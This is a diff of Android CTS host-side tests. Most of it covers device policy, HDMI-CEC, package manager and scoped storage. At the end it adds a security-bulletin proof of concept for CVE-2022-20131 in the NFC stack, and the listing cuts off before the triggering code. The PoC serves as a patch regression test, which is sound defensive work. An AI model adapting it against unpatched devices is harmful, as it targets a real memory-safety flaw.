@@ -1057,6 +1059,8 @@
         executeDeviceTestClass(".KeyManagementTest");
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testInstallKeyPairLogged() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 546b127..0d0bd8f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -872,12 +872,40 @@
             // Launch the activity again to get it out of stopped state on the primary user.
             startProtectedPackage(mPrimaryUserId);
             // Try to force-stop the package under test on the primary user.
-            tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
+            tryForceStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
         } finally {
             // Clear the protected packages so that the package under test can be force-stopped.
             runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
                     "testClearSetUserControlDisabledPackages", mPrimaryUserId);
-            tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
+            tryForceStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
+
+            // Removal of the installed simple app on the primary user is done in tear down.
+        }
+    }
+
+    @Test
+    public void testSetUserControlDisabledPackages_singleUser_reboot_verifyPackageNotFgsStopped()
+            throws Exception {
+        try {
+            installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+            startProtectedPackage(mPrimaryUserId);
+            // Set the package under test as a protected package.
+            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+                    "testSetUserControlDisabledPackages");
+
+            // Reboot and verify protected packages are persisted
+            rebootAndWaitUntilReady();
+
+            // The simple app package seems to be set into stopped state on reboot.
+            // Launch the activity again to get it out of stopped state on the primary user.
+            startProtectedPackage(mPrimaryUserId);
+            // Try to task-manager stop the package under test on the primary user.
+            tryFgsStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
+        } finally {
+            // Clear the protected packages so that the package under test can be stopped.
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                    "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+            tryFgsStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
 
             // Removal of the installed simple app on the primary user is done in tear down.
         }
@@ -921,12 +949,65 @@
                 // Launch the activity again to get it out of stopped state for the created user.
                 startProtectedPackage(userId);
                 // Try to force-stop the package under test on the created user.
-                tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
+                tryForceStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
             } finally {
                 // Clear the protected packages so that the package under test can be force-stopped.
                 runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
                         "testClearSetUserControlDisabledPackages", mPrimaryUserId);
-                tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
+                tryForceStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
+
+                // Removal of the created user and the installed simple app on the created user are
+                // done in tear down.
+            }
+        } finally {
+            setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
+        }
+    }
+
+    @Test
+    @Ignore("b/204508654")
+    public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotFgsStopped()
+            throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        final int userId = createUser();
+
+        String stopBgUsersOnSwitchValue = getStopBgUsersOnSwitchProperty();
+        try {
+            // Set it to zero otherwise test will crash on automotive when switching users
+            setStopBgUsersOnSwitchProperty("0");
+            try {
+                installAppAsUser(SIMPLE_APP_APK, userId);
+                switchUser(userId);
+                startProtectedPackage(userId);
+                // Set the package under test as a protected package.
+                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                        "testSetUserControlDisabledPackages", mPrimaryUserId);
+
+                // Reboot and verify protected packages are persisted.
+                CLog.i("Reboot");
+                rebootAndWaitUntilReady();
+                CLog.i("Device is ready");
+
+                if (isHeadlessSystemUserMode()) {
+                    // Device stars on last user, so we need to explicitly start the user running
+                    // the tests
+                    startUser(mPrimaryUserId);
+                } else {
+                    // Device starts on the primary user and not on the last user (i.e. the created
+                    // user) before the reboot occurred.
+                    switchUser(userId);
+                }
+
+                // The simple app package seems to be set into stopped state on reboot.
+                // Launch the activity again to get it out of stopped state for the created user.
+                startProtectedPackage(userId);
+                // Try to force-stop the package under test on the created user.
+                tryFgsStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
+            } finally {
+                // Clear the protected packages so that the package under test can be force-stopped.
+                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                        "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+                tryFgsStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
 
                 // Removal of the created user and the installed simple app on the created user are
                 // done in tear down.
@@ -950,11 +1031,11 @@
 
     /**
      * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
-     * attempts to stop the protected package under test for a given user.
+     * attempts to force-stop the protected package under test for a given user.
      * @param userId The user Id to stop the package for
      * @param canUserStopPackage Whether the user can force stop the protected package
      */
-    private void tryStoppingProtectedPackage(int userId, boolean canUserStopPackage)
+    private void tryForceStoppingProtectedPackage(int userId, boolean canUserStopPackage)
             throws Exception {
         forceStopPackageForUser(SIMPLE_APP_PKG, userId);
         if (canUserStopPackage) {
@@ -966,6 +1047,25 @@
         }
     }
 
+    /**
+     * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
+     * attempts to apply the "task-manager" FGS stop operation to the protected package under test
+     * for a given user.
+     * @param userId The user Id to stop the package for
+     * @param canUserStopPackage Whether the user should be able to stop the app
+     */
+    private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage)
+            throws Exception {
+        fgsStopPackageForUser(SIMPLE_APP_PKG, userId);
+        if (canUserStopPackage) {
+            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+                    "testFgsStopWithUserControlEnabled");
+        } else {
+            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+                    "testFgsStopWithUserControlDisabled");
+        }
+    }
+
     @Test
     public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
         executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testAllOperations");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 6080a3c..d1c21ae 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -123,6 +123,16 @@
     }
 
     @Test
+    public void testOverrideApn() throws Exception {
+        assumeHasTelephonyFeature();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OverrideApnTest",
+                "testAddGetRemoveOverrideApn", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OverrideApnTest",
+                "testUpdateOverrideApn", mProfileUserId);
+    }
+
+    @Test
     public void testCannotCallMethodsOnParentProfile() throws Exception {
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
                 "testCannotWipeParentProfile", mProfileUserId);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 0ffc025..fd3ed3d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -61,8 +61,7 @@
     @Test
     public void cect_10_2_5_1_RebootLogicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
         assertThat(CecMessage.getSource(message)).isEqualTo(AUDIO_DEVICE);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index d6da4c3..93d8100 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -20,7 +20,6 @@
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -70,8 +69,7 @@
                         CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         /* Monitor CEC messages for 20s after reboot */
         final List<CecOperand> messagesReceived =
                 hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
@@ -108,8 +106,7 @@
         List<CecOperand> expectedMessages = Arrays.asList(CecOperand.REPORT_PHYSICAL_ADDRESS,
                 CecOperand.REPORT_FEATURES);
 
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         /* Monitor CEC messages for 20s after reboot */
         final List<CecOperand> messagesReceived =
                 hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
index 8d89035..a368bdf 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
@@ -219,6 +219,10 @@
             for (int i = 0; i < 4; i++) {
                 codecs.add(CecMessage.getParams(requestSad1, 2 * i, 2 * i + 2));
             }
+            // The first SAD query needs to be replied to, in order for the second query to be sent
+            // as well.
+            hdmiCecClient.sendCecMessage(LogicalAddress.AUDIO_SYSTEM, CecOperand.FEATURE_ABORT,
+                    CecMessage.formatParams("A403"));
             String requestSad2 = hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
                     CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR);
             for (int i = 0; i < 2; i++) {
diff --git a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
index e372fb9..7dc4015 100644
--- a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
+++ b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
@@ -21,7 +21,7 @@
 import android.util.Log;
 
 /**
- * A simple activity which triggers libneuralnetworks.so to push WestWorld atoms.
+ * A simple activity which triggers libneuralnetworks.so to push statsd atoms.
  */
 public class NnapiDeviceActivity extends Activity {
     private static final String TAG = NnapiDeviceActivity.class.getSimpleName();
@@ -33,7 +33,7 @@
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Triggering libneuralnetworks.so to push WestWorld atoms.");
+        Log.i(TAG, "Triggering libneuralnetworks.so to push statsd atoms.");
         trigger_libneuralnetworks_atoms();
     }
 
diff --git a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
index a26de84..d6fb65e 100644
--- a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
+++ b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
@@ -40,6 +40,8 @@
     private static final String PACKAGE_TEST_APP = "android.dynamicmime.testapp";
     private static final String PACKAGE_REBOOT_TESTS = PACKAGE_TEST_APP + ".reboot";
 
+    private static final int SETTINGS_WRITE_TIMEOUT_MS = 10_000;
+
     @Test
     public void testGroupWithExactType() throws DeviceNotAvailableException {
         runTestWithReboot("SingleAppTest", "testGroupWithExactType");
@@ -213,6 +215,7 @@
     private void runTestWithReboot(String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         runPreReboot(testClassName, testMethodName);
+        waitForSettingsWrite();
         getDevice().reboot();
         runPostReboot(testClassName, testMethodName);
     }
@@ -223,6 +226,13 @@
             testMethodName);
     }
 
+    private void waitForSettingsWrite() {
+        try {
+            Thread.sleep(SETTINGS_WRITE_TIMEOUT_MS);
+        } catch (InterruptedException ignored) {
+        }
+    }
+
     private void runPreReboot(String testClassName, String testMethodName)
         throws DeviceNotAvailableException {
         runDeviceTests(PACKAGE_TEST_APP, PACKAGE_REBOOT_TESTS + ".PreReboot" + testClassName,
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
index c3423bc..961f569 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
@@ -34,6 +34,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -147,6 +148,7 @@
 
     @LargeTest
     @Test
+    @Ignore("b/229901433")
     public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
         assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
                 "testOnPackageLoadingProgressChangedCalledWithPartialLoaded"));
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
index 1a69e49..fe0d1c2 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
@@ -46,10 +46,6 @@
         if (!Utils.hasIncrementalFeature(getDevice())) {
             return;
         }
-        // TODO(b/197784344): remove when the metrics supports multi-user
-        if (getDevice().isUserSecondary(getDevice().getCurrentUser())) {
-            return;
-        }
         ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER);
         installPackageUsingIncremental(new String[]{TEST_INSTALL_APK});
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index e760732..17edaae 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -21,8 +21,7 @@
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -54,8 +53,7 @@
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -71,8 +69,7 @@
     manifest: "ScopedStorageTestHelper/TestAppC.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -136,8 +133,7 @@
     manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -153,8 +149,7 @@
     manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -170,8 +165,7 @@
     manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -232,8 +226,7 @@
         "cts",
     ],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     java_resources: [
         ":CtsScopedStorageTestAppA",
@@ -283,6 +276,15 @@
         "cts",
     ],
     test_config: "CoreTest.xml",
+    data: [
+        ":CtsScopedStorageTestAppA31",
+        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppDLegacy",
+        ":ScopedStorageTest",
+        ":LegacyStorageTest",
+    ],
+    per_testcase_directory: true,
 }
 
 java_test_host {
@@ -303,7 +305,13 @@
         "cts",
     ],
     test_config: "AndroidTest.xml",
+    per_testcase_directory: true,
     data: [
+        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppDLegacy",
+        ":ScopedStorageTest",
+        ":LegacyStorageTest",
         ":CtsLegacyStorageTestAppRequestLegacy",
         ":CtsLegacyStorageTestAppPreserveLegacy",
     ],
@@ -363,6 +371,7 @@
         "truth-prebuilt",
         "cts-scopedstorage-lib",
         "androidx.test.uiautomator_uiautomator",
+        "modules-utils-build_system",
     ],
     compile_multilib: "both",
     test_suites: [
@@ -371,8 +380,7 @@
         "cts",
     ],
     sdk_version: "test_current",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     min_sdk_version: "30",
     libs: [
         "android.test.base",
@@ -391,4 +399,11 @@
         ":CtsScopedStorageTestAppSystemGalleryBypassDB",
         ":CtsScopedStorageTestAppSystemGallery30BypassDB",
     ],
+    data: [
+        ":CtsScopedStorageTestAppFileManager",
+        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppDLegacy",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 1a3bff9..6a65c5b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -19,7 +19,6 @@
 import static android.app.AppOpsManager.permissionToOp;
 import static android.os.ParcelFileDescriptor.MODE_CREATE;
 import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.os.SystemProperties.getBoolean;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
@@ -108,6 +107,7 @@
 import static android.system.OsConstants.W_OK;
 
 import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -143,6 +143,7 @@
 import androidx.test.filters.SdkSuppress;
 
 import com.android.cts.install.lib.TestApp;
+import com.android.modules.utils.build.SdkLevel;
 
 import com.google.common.io.Files;
 
@@ -920,7 +921,7 @@
             try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
             }
         } finally {
             file.delete();
@@ -956,7 +957,7 @@
             try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
                  ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
                 assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -976,8 +977,8 @@
                  ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
                 assertRWR(readPfd, writePfd);
                 assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-                assertLowerFsFdWithPassthrough(writePfd);
-                assertLowerFsFdWithPassthrough(readPfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
             }
         } finally {
             file.delete();
@@ -1001,7 +1002,7 @@
                 writePfd.close();
 
                 assertRWR(readPfd, writePfdDup);
-                assertLowerFsFdWithPassthrough(writePfdDup);
+                assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
             }
         } finally {
             file.delete();
@@ -1263,12 +1264,18 @@
 
     @Test
     public void testReadStorageInvalidation() throws Exception {
-        testAppOpInvalidation(
+        if (SdkLevel.isAtLeastT()) {
+            testAppOpInvalidation(
                 APP_C,
                 new File(getDcimDir(), "read_storage.jpg"),
                 Manifest.permission.READ_MEDIA_IMAGES,
                 AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
                 /* forWrite */ false);
+        } else {
+            testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
+                Manifest.permission.READ_EXTERNAL_STORAGE,
+                AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+        }
     }
 
     @Test
@@ -3340,8 +3347,13 @@
         assertStartsWith(path, prefix);
     }
 
-    private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
-        if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+    private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+            throws Exception {
+        final ContentResolver resolver = getTargetContext().getContentResolver();
+        final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+        boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+        if (passthroughEnabled) {
             assertUpperFsFd(pfd);
         } else {
             assertLowerFsFd(pfd);
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 3ccd54f..0670639 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -64,6 +64,7 @@
 import com.android.cts.install.lib.InstallUtils;
 import com.android.cts.install.lib.TestApp;
 import com.android.cts.install.lib.Uninstall;
+import com.android.modules.utils.build.SdkLevel;
 
 import com.google.common.io.ByteStreams;
 
@@ -588,9 +589,11 @@
             assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(1);
             if (grantStoragePermission) {
                 grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
-                grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
-                grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
-                grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+                if (SdkLevel.isAtLeastT()) {
+                    grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+                    grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+                    grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+                }
             }
         } finally {
             uiAutomation.dropShellPermissionIdentity();
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp
new file mode 100644
index 0000000..c8c79c0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2022-20131",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp
new file mode 100644
index 0000000..29ca974
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <nfc_int.h>
+#include <rw_int.h>
+
+constexpr size_t kBufferSize = 16;
+char enable_selective_overload = ENABLE_NONE;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
+void poc_cback(tRW_EVENT, tRW_DATA*) {
+}
+
+int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = { };
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    GKI_init();
+    rw_init();
+    uint16_t bufLen = 0;
+    enable_selective_overload = ENABLE_ALL;
+    uint8_t* buffer = (uint8_t*)malloc(sizeof(uint8_t) * kBufferSize);
+    FAIL_CHECK(buffer);
+    uint8_t* buffer_ptr = buffer;
